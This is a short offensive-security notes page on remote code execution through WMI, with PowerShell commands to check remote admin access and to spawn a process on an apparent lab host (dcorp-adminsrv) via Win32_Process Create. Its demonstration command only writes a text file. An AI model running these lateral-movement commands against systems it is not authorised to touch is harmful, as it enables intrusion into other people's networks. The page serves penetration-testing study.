> For the complete documentation index, see [llms.txt](https://rfc1918.gitbook.io/offsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rfc1918.gitbook.io/offsec/execution/wmi/remote-code-execution-using-wmi.md).

# Remote code execution using WMI

Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems. You can write WMI scripts or applications to automate administrative tasks on remote computers, but WMI also supplies management data to other parts of the operating system and products

## Checking admin access

```powershell
Get-WmiObject -Class Win32_OperatingSystem -ComputerName [COMPUTER] -ErrorAction SilentlyContinue
```

## Remote code execution

```powershell
$Command = "powershell.exe -Command Set-Content -Path C:\Temp\text.txt -Value netspi";
Invoke-CimMethod -ComputerName dcorp-adminsrv -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command} 
```

> Append to end for error display
>
> ```powershell
> | Add-Member -MemberType ScriptProperty -Name ReturnValueFriendly -Passthru -Value {switch ([int]$this.ReturnValue){0 {'Successful completion'} 2 {'Access denied'} 3 {'Insufficient privilege'} 8 {'Unknown failure'} 9 {'Path not found'} 21 {'Invalid parameter'} default {'Unknown Error '}}}
> ```

Returns a value of type UInt32. Return values:

| returnValues | Result                 |
| ------------ | ---------------------- |
| 0            | Successful completion  |
| 2            | Access denied          |
| 3            | Insufficient privilege |
| 8            | Unknown failure        |
| 9            | Path not found         |
| 21           | Invalid parameter      |